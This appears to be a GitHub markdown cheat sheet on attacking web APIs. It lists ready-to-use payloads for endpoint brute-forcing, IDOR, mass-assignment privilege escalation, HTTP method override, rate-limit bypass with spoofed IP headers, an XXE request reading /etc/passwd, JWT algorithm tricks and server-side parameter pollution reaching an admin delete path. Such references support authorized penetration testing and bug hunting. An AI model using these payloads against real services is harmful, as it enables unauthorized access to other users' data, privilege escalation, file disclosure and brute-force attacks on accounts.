Skip to content

Latest commit

 

History

History
172 lines (132 loc) · 4.14 KB

File metadata and controls

172 lines (132 loc) · 4.14 KB

API Security

Endpoint Discovery

# Wordlist fuzzing
ffuf -w /usr/share/wordlists/api-endpoints.txt -u https://target.com/api/FUZZ -mc 200,201,301,302,403,405

# Version enumeration
/api/v1/users -> /api/v2/users -> /api/v3/users
/api/v1/users -> /api/internal/users -> /api/admin/users
/api/v1/users -> /api/beta/users -> /api/private/users

# Common API paths
/api/ /api/v1/ /api/v2/ /graphql /swagger /swagger-ui
/openapi.json /swagger.json /api-docs /docs /redoc
/.well-known/openapi.yaml /api/swagger/v1/swagger.json
/actuator /actuator/env /actuator/health /actuator/configprops
/api/debug /api/config /api/__debug__

# kiterunner (API-specific brute forcer)
kr scan https://target.com -w routes-large.kite -x 20

Broken Object Level Authorization (BOLA/IDOR)

# Swap IDs in API calls
GET /api/v1/users/1001/orders -> /api/v1/users/1002/orders

# Try different ID formats
/api/users/123
/api/users/00123
/api/users/123.json
/api/users/123%00

# UUID prediction - check if sequential or time-based
# If UUIDv1: extract timestamp and MAC, predict others

# Parameter pollution
GET /api/users/me?user_id=1002
GET /api/users/me?id[]=1001&id[]=1002

# Wrap ID in array
{"user_id": 1002}
{"user_id": [1001, 1002]}

Mass Assignment / Parameter Binding

// Normal request
POST /api/users/register
{"username": "test", "password": "pass123"}

// Attack: add privileged fields
{"username": "test", "password": "pass123", "role": "admin"}
{"username": "test", "password": "pass123", "isAdmin": true}
{"username": "test", "password": "pass123", "balance": 99999}
{"username": "test", "password": "pass123", "verified": true}
{"username": "test", "password": "pass123", "group_id": 1}

// Find hidden params by checking:
// - GET response fields (any field returned might be settable)
// - API documentation / swagger
// - JavaScript source code
// - Error messages that reveal field names

Method Override

# Bypass method restrictions
X-HTTP-Method-Override: PUT
X-Method-Override: DELETE
X-HTTP-Method: PATCH

# Try all methods on every endpoint
GET /api/users/1       # read
POST /api/users/1      # sometimes acts as update
PUT /api/users/1       # update all fields
PATCH /api/users/1     # partial update
DELETE /api/users/1    # delete
OPTIONS /api/users/1   # may reveal allowed methods

# Override via query parameter
POST /api/users/1?_method=DELETE

Rate Limit Bypass

# Header manipulation
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
True-Client-IP: 127.0.0.1

# Rotate IPs per request
X-Forwarded-For: 1.2.3.ROTATE

# Case change / path normalization
/api/login vs /API/LOGIN vs /api/Login
/api/./login vs /api//login vs /api/login/

# Add null bytes / special chars
/api/login%00
/api/login%20
/api/login/.

# Different content types
Content-Type: application/json
Content-Type: application/xml
Content-Type: application/x-www-form-urlencoded

# Array of values in single request
{"password": ["pass1", "pass2", "pass3", ... "pass100"]}

Content Type Attacks

# Switch content type to bypass validation
# application/json -> application/xml (XXE)
POST /api/users HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><name>&xxe;</name></user>

# JSON to form-urlencoded
POST /api/users HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=test

# Wildcard content type
Content-Type: */*

JWT API Attacks

# See JWT.md for comprehensive JWT attacks

# Check for unsigned tokens accepted
# Change alg to none
# Swap RS256 to HS256 (use public key as HMAC secret)
# Check jku/x5u header injection

Server-Side Parameter Pollution

# If backend builds internal API calls from user input

# Path injection
GET /api/users?name=test%23foo%26admin=true
# Backend builds: GET /internal/users?name=test#foo&admin=true

# Truncation
GET /api/users?name=test%26role%3Dadmin
# Backend builds: GET /internal/users?name=test&role=admin

# Override path
GET /api/users?name=test/../../admin/delete